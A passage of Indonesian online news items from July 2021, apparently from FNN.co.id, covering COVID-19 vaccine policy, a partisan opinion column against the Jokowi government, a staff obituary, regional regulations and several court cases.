kebenarannya," kata Cellica Nurrachadiana . Sebelumnya, video vaksinasi di Karawang, mendadak viral di sejumlah platform media sosial (medsos). Video itu merekam seorang petugas kesehatan tertangkap kamera diduga menyuntikkan vaksin ke seorang warga tanpa ditekan "flunger" suntikkannya.

Puan: VGR Tidak Boleh Hilangkan Hak Rakyat Peroleh Vaksin Gratis

Jakarta, FNN - Ketua DPR RI Puan Maharani mengingatkan pemerintah bahwa vaksin gotong royong (VGR) untuk individu tidak boleh menghilangkan hak warga untuk mendapatkan vaksin gratis yang diberikan negara. Puan menilai vaksin gratis adalah hak dasar warga atas pemenuhan kesehatan dalam kondisi pandemi COVID-19 saat ini. "Vaksin gratis adalah hak dasar seluruh warga. Hak itu tidak boleh dihilangkan, bahkan dikurangi sedikit pun dengan adanya vaksin gotong royong," kata Puan dalam keterangannya di Jakarta, Rabu. Ia menegaskan bahwa VGR untuk individu harus mencerminkan semangat bersama seluruh elemen bangsa untuk mempercepat program vaksinasi pemerintah dengan memperluas akses bagi seluruh lapisan masyarakat yang belum terjangkau. Menurut dia, makin cepat program vaksinasi yang dibantu seluruh elemen bangsa maka makin cepat bangsa Indonesia mencapai kekebalan kelompok (herd immunity) dan keluar dari pandemi. "Mereka yang berlebih, membantu mereka yang kekurangan agar cepat divaksin. Itu adalah esensi gotong royong dalam vaksin gotong royong ini," ujarnya. Puan mengatakan bahwa Pemerintah harus membuat aturan main yang jelas tentang VGR individu dan dengan cepat menyosialisasikannya secara luas kepada masyarakat. Menurut mantan Menteri Pembangunan Manusia dan Kebudayaan (Menko PMK) itu, hal tersebut termasuk sosialisasi bahwa VGR tidak menggunakan dana APBN atau vaksin hibah. "Harus disampaikan terus-menerus bahwa vaksin gotong royong bukan dari APBN, bukan menggunakan uang rakyat, dan bukan hasil hibah dari mana pun. Saya berharap tidak ada lagi tudingan-tudingan bahwa negara ‘berbisnis’ di tengah penderitaan rakyat," katanya. Ia juga meminta pemerintah memastikan fasilitas dan tenaga kesehatan yang melayani VGR untuk individu sama sekali tidak menggunakan sumber-sumber pendanaan negara dan hibah. Menurut dia, harus dipastikan faskes dan nakes vaksin yang berbayar ini terpisah sama sekali pengelolaannya dengan vaksin gratis. "Harus dijelaskan dua jenis program vaksinasi ini beda kamar. Tidak saling terhubung sama sekali," ujarnya. Puan menilai kalaupun vaksin gotong royong dan vaksin gratis terhubung, itu terkait ikhtiar dan semangat bersama untuk mempercepat vaksinasi agar bangsa Indonesia cepat keluar dari masa-masa sulit. (mth)

Kutukan Rakyat

By M Rizal Fadillah Bandung, FNN - Suara rakyat adalah suara tuhan "vox populi vox dei" karenanya hati-hati dalam bertindak atau membuat kebijakan, apakah sesuai dengan kemauan rakyat atau tidak. Terhadap sikap atau kebijakan yang bertentangan dengan aspirasi bahkan menyakiti rakyat akan berisiko berat. Kezaliman merupakan sesuatu hal yang dapat memancing murka-Nya. Tentu berbeda makna dengan kutukan atau tuah mistis seperti ceritra "The Curse of Tutanskhment's Tomb", "Da Billy Goat Curse", ataupun film "The Curse of The Golden Flower". Kutukan rakyat disini adalah jeritan kepedihan karena perlakuan yang tak adil, menistakan, dan menginjak-injak kebenaran. Dalam kaitan keagamaan maka itu adalah do'a agar Allah menimpakan adzab atau keburukan pada penganiaya. Ucapan HRS saat menerima ketukan palu vonis hakim "sampai jumpa di pengadilan akherat" adalah do'a yang mengancam. Do'a orang yang tidak berdaya menghadapi hukum palsu dunia yang penuh rekayasa dan arogan. Negara tak boleh kalah, katanya. Maksudnya adalah HRS harus dihabisi. Organisasi FPI harus dihancurkan dan difitnah. Pengawalnya dibantai sebagai tekanan agar HRS menyerah. Kezaliman kepada HRS dan organisasinya menjadi bagian kezaliman rezim kepada umat Islam. Sesak rasanya umat mayoritas dibawah pemerintahan Jokowi. Sulit bersimpati atas duka umat. Artis dan penjilat jauh lebih dihargai daripada tokoh agama dan ulama. Meski dinafikan tetapi faktanya Islamophobia terjadi. Sebutan radikal, intoleran, ekstrem dan sejenisnya disemburkan untuk mencemari umat. Pasukan sampah dikerahkan untuk membentengi dan menjadi juru ejek. Buzzer sebutannya si tukang dengung yang berisik. Soal mutu dengungan tidak penting karena tugasnya hanya menebar racun nista atau dusta. Yang penting adalah agar umat gelisah, resah, bahkan mungkin marah-marah. Untuk sekedar melegitimasi tuduhan radikal, intoleran, dan ekstrim itu. Meminjam istilah Moeldoko mereka sebenarnya adalah lalat politik yang berterbangan di sekitar sampah yang berbau busuk. Dan para Buzzer itu berebutan mengais makanan dari tumpukan sampah Istana tersebut. Kutukan rakyat "People's Curse" berbahaya bagi penguasa. Artinya ia atau mereka sudah tidak mendapat kepercayaan lagi dari rakyat. Rakyat sangat berharap ada perubahan segera demi perbaikan. Ikhtiar dilakukan melalui kritik, pembangkangan, maupun do'a-do'a. Penderitaan itu dekat pada kabulnya do'a. Penguasa arif akan takut pada do'a orang alim. Sementara penguasa lalim akan semakin zalim pada orang alim. Pandemi Coronavirus menjadi momentum untuk memulihkan kewibawaan atau menghancurleburkan kekuasaan. Penguasa gerombolan biasanya sulit untuk disadarkan oleh ujian. Di tengah kesulitan masih berusaha mengeruk keuntungan. Rakyat pun hanya dijadikan batu loncatan untuk melompat dari satu rekening kepada rekening lain yang lebih banyak. Kutukan rakyat akan mampu meredam dan menggoyahkan. Jika kekuasaan ilahi sudah datang untuk membantu maka tak ada kekuatan untuk bertahan. Penguasa angkuh itu akan segera bersimpuh tak berdaya. Kuburan amblas dengan rintihan memelas. Frustrasi dan penyesalan diri. *) Pemerhati Politik dan Kebangsaan

Obituari: Selamat Jalan Bang Arief, Pejuang Zuhud Zaman Modern

Di rumahnya ada dua mobil, tetapi ke mana-mana dia memilih naik taksi online. Istrinya doktor akutansi pengajar di FE UI, ke mana-mana pakai sepeda motor. KAMI berduka cita yang dalam. Salah seorang sahabat kami, teman diskusi kami berpulang kepada Sang Khalik, Selasa malam, 13 Juli 2021, sekitar pukul 19.46 WIB. Innalillahi wainna ilaihi roji'un. "Telah berpulang dengan tenang ke Rahmatullah Arief Munandar di Rumah Sakit Umum Daerah Pasar Minggu." Demikian antara lain isi pemberitahuan di WA grup kami. Almarhum adalah Wakil Pemimpin Umum FNN.co.id. Ia dikenal lewat YouTube Channel Bang Arief yang berada di bawah FNN Grup. Doktor kelahiran pada 15 November 1971 itu meninggal dunia setelah berjuang melawan Covid-19. Hampir dua pekan ia sakit, dan sepuluh hari dirawat di RSUD Pasar Minggu. Kepergianmu membuat duka dalam bagi kami semua. Engkau pergi begitu cepat. Apalagi, pertemuan terkhir dengan engkau seakan baru terjadi. Ya, pertemuan pada Sabtu, 26 Juni 2021 malam, dalam rapat redaksi FNN.co.id di kompleks Sekolah Insan Cendikia Madani, Serpong, Kota Tangerang Selatan, Provinsi Banten. Rapat diadakan, antara lain karena usulan engkau yang semakin gerah melihat situasi negara yang kian carut-marut. Bang Arief. Sulit rasanya menuliskan kata-kata buatmu. Jari-jari serasa lemas dan mataku berlinang saat membaca WA yang mengabarkan kepergianmu menuju Sang Khalik. Seakan hati tidak percaya engkau pergi. Pertemuan di ICM itu membawa pesan terakhir bagi kami bahwa itu jugalah pertemuan terakhir denganmu. Sebab, dalam pertemuan tersebut engkau sempat meminta pendingin ruangan dimatikan karena tidak kuat. Sejak pertemuan itu, tidak lama kami hanya mendapat kabar engkau sakit. Awalnya dibawa ke Rumah Sakit Universitas Indonesia, Depok, Jawa Barat. Akan tetapi, rumah sakit tersebut penuh dengan pasien, sehingga penanganan terhadapmu agak "lama", meskipun UI adalalah almamatermu. Akhirnya, berbagai usaha dilakukan, sehingga bisa pindah dari RS UI ke RSUD Pasar Minggu, Jakarta Selatan. Termasuk bantuan dari Gubernur DKI Jakarta Anies Baswedan. Selamat jalan sahabat. Sepanjang pergaulan kita, engkau adalah saudara baik kami. Banyak yang engkau lakukan untuk mendidik anak-anak bangsa menjadi orang yang cerdas dan kritis. Engkau dirikan Peopleshift, Rumah Peradaban dan Shafa Community. Ini adalah usaha nirlaba tempat putra-putri bangsa dididik agar menjadi manusia berakal sehat dan manusia merdeka. Selamat jalan sahabat. Syurga menantimu, pelukan dari Yang Maha Pengasih berada padamu. Sahabatku. Kepergiamu adalah syahid, karena engkau telah berjuang melawan Covid-19. Bukankah Rasulullah Sollolohu 'alaihi wasallam telah menyebutkan, "Ummatku yang meninggal karena wabah adalah syahid." Apalagi kepergiamu masih hari Selasa malam. Selasa adalah wafatnya para Nabi. Pejuang Zuhud Modern "Bang Arief insya Allah bekal akhiratnya sangat cukup. Dia memilih hidup di jalan dakwah dan menyiapkan kader intelektual muslim yang kosmopolit," tulis Hersubeno Arief dalam grup WA FNN. Lihat saja gaya pakaian dan berbicaranya. Beda banget dengan anak-anak tarbiyah yang penampilannya khas. Celana cingkrang dan baju gombrang. Dresscode-nya celana jeans, dan T-Shirt tematik. Dia itu Ustadz gaul, pemahaman dan penguasaan agamanya mumpuni, wawasan keilmuan, terutama bidang sosiologi dan ekonomi juga mumpuni. Gaya hidupnya juga menarik. Ini contoh manusia zuhud modern. "Rumahnya dibagi dua. Bagian belakang untuk asrama/pesantren 12 orang mahasiswa UI terpilih. Dia seleksi, dia didik langsung, dan diberi beasiswa," tulis Hersubeno. Anak-anak tersebut dia siapkan sebagai leader masa depan. Salah satu anak didiknya Fajar Adi Nugroho adalah Ketua BEM UI sebelum Leon Alvinda Putra. Di rumahnya ada dua mobil, tetapi ke mana-mana dia memilih naik taksi online. Istrinya doktor akutansi pengajar di FE UI, ke mana-mana pakai sepeda motor. Insya' Allah tengah mengurus gelar Profesornya. Dia punya putri tunggal yang sudah memberinya 3 orang cucu. Secara ekonomi kehidupannya sangat cukup, karena dia juga punya kantor konsultan bidang SDM (Sumber Daya Manusia), sebuah dunia yang sangat dia cintai. Setiap Idul Adha seperti saat ini, Bang Arief juga selalu menyembelih qurban. Jangan kaget ya, qurban dia biasanya dua ekor sapi limousin yang harganya ratusan juta rupiah. Insya' Allah dalam perjalanan yang singkat - 51 tahun - hidupnya penuh manfaat. Bukan hanya buat dirinya, namun juga untuk orang lain. Untuk agama dan bangsa. "Saya bersaksi Bang Arief adalah orang baik. Khoirr....khoir...." tulis Hersubeno yang kawan terdekat almarhum. Selamat jalan sahabat. Kepada keluarga yang ditinggalkan agar bersabar. Atas nama seluruh pimpinan dan staf FNN Grup, kami berduka cita yang dalam. Mangarahon Dongoran, Pemimpin Redaksi FNN.co.id.

Kelompok Milenial Dukung Kehadiran Vaksin Gotong Royong

Jakarta, FNN - Sejumlah organisasi kelompok milenial mendukung kehadiran vaksin gotong royong COVID-19 dalam rangka mempercepat proses vaksinasi di Tanah Air. Koordinator Penggerak Milenial Indonesia M Adhiya Muzakki dalam keterangannya di Jakarta, Rabu, mengatakan dukungan mengalir dari organisasi kepemudaan di antaranya Penggerak Milenial Indonesia (PMI), Indonesian Public Policy Assembly (IPPA), Forum Komunikasi Santri Indonesia (Foksi), dan Indonesian Youth Circle (IYC). "Hadirnya vaksin gotong royong ini sebenarnya akan mempercepat kita keluar dari zona pandemi. Hanya saja, beberapa oknum memanfaatkan hal itu untuk kepentingan politik tertentu," ujar Adhiya Menurut Adhiya Muzakki, upaya pemerintah dalam mewujudkan kekebalan kelompok harus mendapatkan dukungan dari berbagai kalangan, termasuk kelompok milenial. Adhiya mencatat vaksinasi di Indonesia masih tergolong rendah. Dengan jumlah penduduk yang sebegitu besar, Adhiya menyebutkan akan membutuhkan waktu yang cukup lama untuk menyelesaikan vaksinasi nasional. Oleh karena itu, menurut dia, kehadiran vaksin gotong royong yang diperuntukkan untuk individu akan membantu mempercepat vaksinasi di Indonesia. Kelompok milenial, lanjut Adhiya, mendorong seluruh elite politik agar tidak saling tuding dan saling menyalahkan. Sebab saat ini bukan waktu yang tepat untuk mencari panggung dan simpati masyarakat. "Tidak usah saling menyalahkan, ayo kita bareng-bareng. Jangan malah menjadikan ini sebagai momentum untuk pencitraan," kata dia. Sementara itu, Ketua Umum Indonesian Public Policy Assembly (IPPA) Muara Torang, menuturkan kebijakan yang sudah diambil pemerintah pastilah kebijakan yang sudah digodok dengan matang melalui kajian para ahli. Torang mengatakan pandemi tidak bisa diprediksi kapan akan berakhir dan bisa saja berlangsung lama. Kondisi pandemi berkepanjangan tentu menimbulkan konsekuensi, seperti membebani negara jika semua harus ditanggung pemerintah. Mengingat konsekuensi dari pandemi itu, Torang mengajak seluruh komponen bersatu menghadapi persoalan pandemi bersama karena budaya bangsa Indonesia adalah gotong royong. "Dulu awal pada pandemi, rapid test ditanggung pemerintah namun kemudian berbayar. Kenapa tidak hal itu juga diberlakukan untuk vaksinasi COVID-19, namun tetap dalam pengawasan pemerintah," kata dia. Ketua Umum Indonesian Youth Circle (IYC) Mufti mengatakan hadirnya vaksin gotong royong tidak lantas menggantikan atau menghapus program vaksin rakyat yang diberikan pemerintah secara gratis. Melainkan, kata dia, akan menguntungkan rakyat kecil dan pemerintah karena vaksin individu ditujukan kepada perusahaan besar yang memiliki banyak karyawan. "Langkah pemerintah sudah tepat. Rakyat kecil dapat vaksin gratis, perusahaan bayar, negara dapat pemasukan. Proses vaksinasi makin cepat, tapi tidak bikin kolaps keuangan negara," kata dia. Ketua Umum Forum Komunikasi Santri Indonesia (Foksi) Natsir menyampaikan dukungan penuh terhadap upaya pemerintah dalam rangka percepatan vaksinasi nasional. Sebagai kalangan perwakilan santri, ia merindukan menimba ilmu dengan cara tatap muka. Ilmu yang paling penting adalah karakter, sementara karakter tidak akan didapat dengan proses pendidikan pada masa pandemi. Oleh sebab itu, ia mendukung setiap kebijakan pemerintah dalam mempercepat proses vaksinasi. "Demi kebaikan kita bersama, vaksinasi harus dipercepat. Bayar ataupun gratis, sebagai warga negara yang baik, kita harus vaksin agar tercapai herd immunity kita," ujarnya. (sws)

Pemkab Cirebon Sahkan Perda Tibum untuk Tindak Pelanggar Prokes

Cirebon, FNN - Dewan Perwakilan Rakyat Daerah (DPRD) dan Pemerintah Kabupaten Cirebon, Jawa Barat, mengesahkan Peraturan Daerah (Perda) Ketertiban Umum (Tibum) sehingga dengan adanya aturan itu pelanggar protokol kesehatan (prokes) dapat ditindak sesuai aturan. "Alhamdulillah berarti kini Satgas COVID-19 mempunyai dasar hukum untuk melakukan penindakan pelangaran prokes. Kemarin kita masih menggunakan Perda Jawa Barat," kata Bupati Cirebon Imron di Cirebon, Selasa. Imron mengatakan pihaknya mengucapkan terima kasih kepada DPRD, terutama Panitia Khusus (Pansus) yang sudah bekerja menyusun Raperda Tibum menjadi Perda. Dengan adanya Perda Tibum, katanya, Pemerintah Kabupaten Cirebon dengan Satgas COVID-19 mempunyai payung hukum dalam melakukan tindakan, khususnya untuk pelanggar prokes. Imron menjelaskan dengan pengesahan Perda Tibum maka masyarakat akan lebih mematuhi prokes COVID-19 karena satgas bisa menindak para pelanggar prokes. "Dalam Perda Tibum disebutkan untuk denda prokes perorangan maksimal Rp250 ribu, sedangkan untuk pengusaha berbadan hukum maksimal Rp50 juta dan pengusaha tidak berbadan hukum maksimal Rp500 ribu. Denda ini lebih kecil ketimbang denda yang tertuang dalam Perda Provinsi Jawa Barat," katanya. Imron berharap masyarakat tetap mematuhi Protokol kesehatan mengingat pandemi COVID-19 masih tinggi. Adanya perda ini hanya upaya agar masyarakat patuh dan tidak melanggar prokes. "Asalkan masyarakat bisa mematuhi prokes selama pandemi COVID-19 denda tidak mungkin ada. Ini demi kebaikan bersama," katanya. (sws)

Aceh Barat Sosialisasikan Pencegahan Korupsi Dana Desa

Meulaboh, FNN - Pemerintah Kabupaten Aceh Barat menyosialisasikan pencegahan tindak pidana korupsi dalam pengelolaan dana desa bagi aparatur desa untuk menciptakan pengelolaan anggaran yang akuntabel dan transparan. “Dengan adanya sosialisasi ini diharapkan dapat menambah informasi dan pengetahuan bagi aparatur gampong (desa) dalam mengelola keuangan desa sehingga segala kesalahan yang pernah dilakukan tidak terulang kembali ke depan,” kata Sekretaris Daerah Kabupaten Aceh Barat Marhaban di Meulaboh, Selasa. Marhaban menjelaskan pemerintah pusat telah menganggarkan dana desa setiap tahun melalui APBN yang diperuntukkan kepada setiap desa di Tanah Air sebagai unsur penyelenggara pemerintahan di tingkat desa. Selain bersumber dari APBN, katanya, pemerintah daerah mengalokasikan dana desa yang berasal dari APBD sebesar 10 persen dari rencana anggaran pendapatan pajak daerah, retribusi daerah, dan dana perimbangan setelah dikurangi dana alokasi khusus. Untuk itu, Marhaban meminta dana desa yang tersedia harus dikelola baik dan transparan oleh para aparatur desa sehingga pembangunan yang dihasilkan tepat sasaran dan dirasakan langsung masyarakat. “Pengelolaan keuangan desa harus dilandasi peraturan perundang-undangan yang berlaku dan penuh tanggung jawab agar dalam pelaksanaan dapat terhindar dari segala permasalahan hukum yang bisa muncul pada kemudian hari,” kata Sekda. Ia menuturkan dengan tata kelola keuangan yang baik, maka pembangunan desa yang dicita-citakan bisa terwujud guna meningkatkan kemakmuran dan kesejahteraan rakyat di setiap desa. Kepala Kantor Inspektorat Kabupaten Aceh Barat, Sirajulfata mengatakan kegiatan tersebut bertujuan untuk memberikan pemaparan serta bimbingan kepada aparatur desa terkait pengelolaan keuangan desa yang nanti disampaikan Tim inspektorat Aceh Barat. Ia menyebutkan dari hasil penyelidikan yang dilakukan ditemukan beberapa permasalahan terkait dengan tata kelola pemerintahan desa seperti surat pertanggungjawaban (SPJ) yang tidak lengkap, "markup" rancangan anggaran biaya (RAB), pajak yang belum disetor serta berbagai persoalan lain. Sirajul Fata meminta aparatur desa agar melibatkan masyarakat dalam setiap penyusunan anggaran desa sebagai bentuk tranparansi dan tanggung jawab kepada masyarakat. “Dengan pengelolaan dana desa yang tepat sasaran diharapkan masyarakat desa bisa mandiri secara ekonomi pada masa depan,” tuturnya. Ia meminta aparatur desa agar terus meningkatkan sinergitas dengan Tim Inspektorat Aceh Barat agar terwujud tata kelola keuangan desa yang akuntabel, transparan, dan bertanggung jawab. (sws)

Oknum Anggota DPRD Tanjungpinang Dituntut Hukuman Satu Tahun Penjara

Tanjungpinang, FNN - Jaksa Penuntut Umum (JPU) Kejari Tanjungpinang menuntut Rini Pratiwi, oknum anggota DPRD Kota Tanjungpinang, Provinsi Kepulauan Riau yang menjadi terdakwa kasus ijazah palsu, dengan hukuman satu tahun penjara serta denda Rp100 juta dan subsider enam bulan kurungan. JPU Ardiansyah menilai terdakwa terbukti bersalah melakukan tindak pidana menggunakan gelar tidak sesuai atau palsu. Perbuatan terdakwa melanggar Pasal 68 ayat 3 Jo Pasal 21 ayat 4 Undang-undang RI Nomor 20 Tahun 2003 Tentang Sistem Pendidikan Nasional. “Menuntut terdakwa dengan pidana penjara satu tahun penjara, terdakwa juga dituntut membayar denda Rp100 juta dan subsider enam bulan kurungan,” kata JPU dalam persidangan di Pengadilan Negeri Tanjungpinang, Selasa (13/7). Jaksa juga memaparkan hal-hal yang memberatkan terdakwa, yakni terdakwa berbelit dalam persidangan dan tidak mengakui perbuatannya. Sedangkan yang meringankan terdakwa belum pernah dihukum. Atas tuntutan tersebut, terdakwa melalui penasehat hukumnya menyatakan akan menyampaikan pembelaan secara tertulis. Sementara itu, Ketua Majelis Hakim Pengadilan Negeri Tanjungpinang Boy Syailendra menunda sidang hingga satu pekan mendatang dengan agenda pembelaan dari terdakwa. “Sidang akan dilanjutkan pada Rabu, 21 Juli 2021 mendatang,” kata Ketua Majelis Hakim. Sebelumnya dalam dakwaan jaksa, terdakwa menyelesaikan studi S2 di Universitas Kejuangan 45 Jakarta pada 10 Desember 2014 dengan memperoleh gelar Magister Manajemen Konsentrasi Manajemen Pendidikan. Selanjutnya, terdakwa mendaftar sebagai bakal calon anggota DPRD Tanjungpinang ke Komisi Pemilihan Umum (KPU) Tanjungpinang dengan menggunakan gelar M.Pd. Sebelum penetapan sebagai calon oleh KPU Tanjungpinang, terdakwa mengajukan perubahan gelar akademik yang mana semula terdakwa menggunakan gelar M.Pd kemudian diubah menjadi M.MPd. Selanjutnya, dalam kontestasi Pileg terdakwa terpilih menjadi anggota DPRD Tanjungpinang, dalam surat keputusan KPU tentang penetapan calon terpilih Anggota DPRD Tanjungpinang tahun 2019, tercantum nama terdakwa Rini Pratiwi dengan gelar akademik yang digunakan adalah MM.Pd. Sampai terdakwa dilaporkan oleh saksi Pandi Ahmad Simangunsong ke Polres Tanjungpinang, terdakwa masih menggunakan gelar akademik MM.Pd. Berdasarkan studi yang ditempuh seharusnya gelar digunakan oleh terdakwa adalah dengan singkatan M.M bukan M.Pd atau MM.Pd. Politisi wanita dari PKB itu ditetapkan jadi tersangka kasus ijazah palsu oleh Polres Tanjungpinang Selasa tanggal 20 Oktober 2020. (sws)

Polres Nagan Raya Aceh Serahkan Tersangka Penembak Warga ke Jaksa

Suka Makmue, FNN - Penyidik Satuan Reserse Kriminal Polres Nagan Raya Aceh menyerahkan Antonius Tarigan bin Lukas Tarigan (27 tahun) warga Desa Raja, Kecamatan Penanggalan, Kota Subulussalam Aceh ke Kejaksaan Negeri Nagan Raya, setelah pemberkasan perkara tindak pidana penembakan dirampungkan penyidik. “Tersangka Antonius Tarigan kita serahkan ke kejaksaan setelah berkas penyidikan dinyatakan lengkap oleh kejaksaan (P-21),” kata Kapolres Nagan Raya Aceh AKBP Risno SIK di Suka Makmue, Selasa. Antonius Tarigan sebelumnya ditetapkan sebagai tersangka oleh penyidik kepolisian di Nagan Raya setelah diduga melakukan tindak pidana penembakan terhadap Davis Minasov (37) warga Desa Simpang Deli Kilang, Kecamatan Darul Makmur, Kabupaten Nagan Raya. Korban diduga ditembak di lokasi perkebunan kelapa sawit milik CV KSM di Desa Pulo Ie Kecamatan Darul Makmur Kabupaten Nagan Raya, sehingga menyebabkan korban kritis pada pertengahan April 2021 lalu. Dalam penyerahan tersebut, kata Kasat Reskrim Polres Nagan Raya AKP Machfud, polisi turut menyerahkan sejumlah barang bukti diantaranya berupa tiga pucuk senapan angin Pre-Carged Peneumatic Air Rifle (PCP), satu butir peluru yang dikeluarkan dari perut korban. Kemudian 62 butir peluru yang belum terpakai milik tersangka, satu satu buah baju warna hitam milik korban, serta satu buah celana milik korban. Dalam perkara ini, tersangka Antonius Tarigan diduga melanggar Pasal 1 Ayat (1) Undang-Undang Darurat Republik Indonesia Nomor 12 Tahun 1951, dan Undang-Undang Republik Indonesia Nomor 8 Tahun 1948 atau Pasal 351 ayat (2) KUHPidana, dengan ancaman pidana paling lama seumur hidup dan paling rendah selama 15 tahun, kata AKP Machfud menuturkan. (sws)

Kemendagri Ingatkan Kepala Daerah agar Tidak Takut Berinovasi

Jakarta, FNN - Kepala Badan Penelitian dan Pengembangan Kementerian Dalam Negeri (Badan Litbang Kemendagri) Agus Fatoni meminta kepala daerah untuk tidak takut dalam berinovasi. Agus Fatoni dalam keterangannya diterima di Jakarta, Rabu, mengatakan amanat untuk berinovasi sudah didukung oleh regulasi yang lengkap, mulai dari undang-undang, Peraturan Pemerintah, Peraturan Presiden hingga Peraturan Menteri Dalam Negeri. "Daerah jangan ragu untuk melahirkan ide, gagasan, dan inovasi. Asalkan berpedoman pada peraturan perundang-undangan yang ada, setiap inovasi tidak dapat dipidanakan," kata Fatoni Kebijakan inovasi mendapat jaminan perlindungan hukum, seperti yang diatur pada Pasal 389 Undang-Undang Nomor 23 Tahun 2014 tentang Pemerintahan Daerah. Pasal itu menyebutkan dalam hal pelaksanaan inovasi yang telah menjadi kebijakan pemerintah daerah dan inovasi tidak mencapai sasaran yang telah ditetapkan, aparatur sipil negara tidak dapat dipidana. Selain itu, pengaturan mengenai prinsip, bentuk, kriteria, dan mekanisme dalam berinovasi sudah dijelaskan dalam Peraturan Pemerintah Nomor 38 Tahun 2017 tentang Inovasi Daerah. Semua landasan hukum tersebut, lanjut Fatoni, dibuat agar inovasi dapat tumbuh pesat sehingga berdampak pada peningkatan pelayanan publik, kesejahteraan masyarakat, dan daya saing daerah. "Pada era sekarang, aparatur pemerintah harus mengubah pola pikir dan metode kerja. Jangan terjebak dalam rutinitas dan business as usual. Inovasi harus jadi budaya kerja yang baru," kata Fatoni. Menurutnya, saat ini daerah perlu didorong untuk lebih giat menghasilkan inovasi. Hal ini karena adanya tuntutan masyarakat agar pelayanan publik semakin berkualitas. "Pelayanan publik perlu dibuat lebih cepat, lebih pintar, lebih murah, lebih mudah, lebih baik, dan lebih nyaman," kata Fatoni. Ia menambahkan inovasi yang dilakukan daerah untuk menjawab tren peningkatan pengguna seluler dan internet di Indonesia. Inovasi daerah yang agresif akan mendorong peningkatan posisi Indonesia dalam Global Innovation Index (GII) dan Global Competitiveness Index (GCI). “Oleh karena itu, inovasi bukan lagi suatu kewajiban, namun sudah harus menjadi kebutuhan. Saya harap daerah dapat terus memelihara ekosistem inovasi,” ujar Fatoni. (sws)

Politikus: Pemerintah Perlu Perhatikan Kelangsungan Hidup Wong Cilik

Semarang, FNN - Politikus Partai Golkar M.H. Iqbal Wibisono memandang penting Pemerintah memperhatikan kelangsungan hidup wong cilik di tengah pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat COVID-19 agar mereka tidak kesulitan mencari nafkah untuk menghidupi keluarganya. "Dalam kondisi darurat apa pun, rakyat harus bisa makan, dan itu menjadi tanggung jawab Negara," kata Ketua DPP Partai Golkar Iqbal Wibisono di Semarang, Rabu, ketika merespons sejumlah pemilik/pengelola warung makan yang main kucing-kucingan dengan aparat agar tidak terkena razia. Iqbal mengemukakan bahwa pemerintah tidak saja menuntut masyarakat untuk mematuhi aturan PPKM darurat, tetapi juga bertanggung jawab memberi kebutuhan hidup dasar orang dan makanan hewan ternak selama PPKM darurat berlangsung, baik di tujuh provinsi di wilayah Jawa dan Bali maupun delapan provinsi lainnya di luar pulau itu. PPKM darurat di tujuh provinsi di wilayah Jawa dan Bali (DKI Jakarta, Banten, Jawa Barat, Jawa Tengah, DIY, Jawa Timur, dan Bali) lebih awal atau sejak 3 Juli 2021, sementara delapan provinsi (Sumatera Utara, Sumatera Barat, Kepulauan Riau, Lampung, Kalimantan Barat, Nusa Tenggara Barat, dan Papua Barat) mulai Senin (12/7). Namun, tidak semua daerah di delapan provinsi menerapkan PPKM darurat hingga 20 Juli 2021, atau tercatat ada 15 kabupaten/kota, yakni Kota Medan (Sumatera Utara); Kota Buktitinggi, Kota Padang, dan Kota Padang Panjang (Sumatera Barat); dan Kota Batam dan Kota Tanjung Pinang (Kepulauan Riau). Berikutnya, Kota Bandar Lampung (Lampung); Kota Pontianak dan Kota Singkawang (Kalimantan Barat); Kabupaten Berau, Kota Balikpapan, dan Kota Bontang (Kalimantan Timur); Kota Mataram (Nusa Tenggara Barat); dan Kabupaten Manokwari dan Kota Sorong (Papua Barat). PPKM darurat ini, lanjut Iqbal, dampaknya terasa di tengah masyarakat, seperti kehidupan menjadi agak lesu, penurunan daya beli, dan sulitnya meningkatkan pendapatan masyarakat di hampir semua sektor. Oleh karena itu, dia memandang perlu seluruh elemen masyarakat mengubah kehidupan baru dari yang bisanya, baik itu di bidang tata niaga formal, informal, kehidupan sosial, keagamaan, maupun kebiasaan-kebiasaan lain yang hidup di tengah masyarakat. Kendati demikian, alumnus Program Doktor (S-3) Ilmu Hukum Fakultas Hukum Universitas Diponegoro (Undip) ini menegaskan bahwa PPKM darurat ini merupakan ikhtiar bersama agar bangsa ini bebas dari COVID-19 meski berat bagi negara dan masyarakat. Ia lantas mengingatkan Pemerintah untuk mencukupi tiga kebutuhan paling mendasar setiap orang hidup, yakni kebutuhan papan, sandang, dan pangan. "Ketiga kebutuhan ini jangan sampai terabaikan oleh Negara, apalagi sudah diatur di dalam Pasal 55 Undang-Undang Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan," kata Iqbal. (sws)

Kasdam XVII Minta Satuan BKO Kodim Persiapan Jaga Disiplin

Jayapura, FNN - Kasdam XVII/Cenderawasih Brigjen TNI Bambang Trisnohadi mengingatkan para personel Satuan BKO Kodim Persiapan menjaga kedisiplinan, jangan lengah, tingkatkan kewaspadaan, dan kesiapsiagaan dalam melaksanakan tugas. Kasdam XVII/Cenderawasih Brigjen TNI Bambang Trisnohadi dalam keterangan, Rabu, mengajak personel satuan BKO menunjukkan tugas yang terbaik. "Hindari pelanggaran sekecil apa pun dan harus mencintai rakyat agar kalian dapat dicintai rakyat di daerah penugasan," kata Kasdam XVII/Cenderawasih pada penutupan pembekalan Satuan BKO Kodim Persiapan di lingkungan Kodam XVII/Cenderawasih. Terkait dengan adanya Pandemi COVID-19, menurut Kasdam, agar senantiasa menjaga kesehatan dan pedomani protokol kesehatan COVID-19. "Karena kesehatan merupakan hal yang mutlak dalam mendukung kelancaran tugas,” tegasnya. Kasdam menambahkan dalam melaksanakan tugas pembinaan teritorial agar para personel Satuan BKO Kodim Persiapan selalu membantu menyejahterakan masyarakat. "Dengan demikian para personel Satuan BKO Kodim Persiapan yang berada di wilayah Kodam XVII/Cenderawasih dapat menjadi kebanggaan masyarakat di wilayah penugasan khususnya di Provinsi Papua," ungkapnya. Kasdam berpesan agar selalu fokus dalam tugas dan laksanakan pembinaan teritorial serta bantu sejahterakan masyarakat. "Agar kalian semua menjadi kebanggaan masyarakat di wilayah penugasan khususnya di Provinsi Papua,”ujar Kasdam. (sws)

Menteri Mundur Pemantik Kejatuhan Jokowi

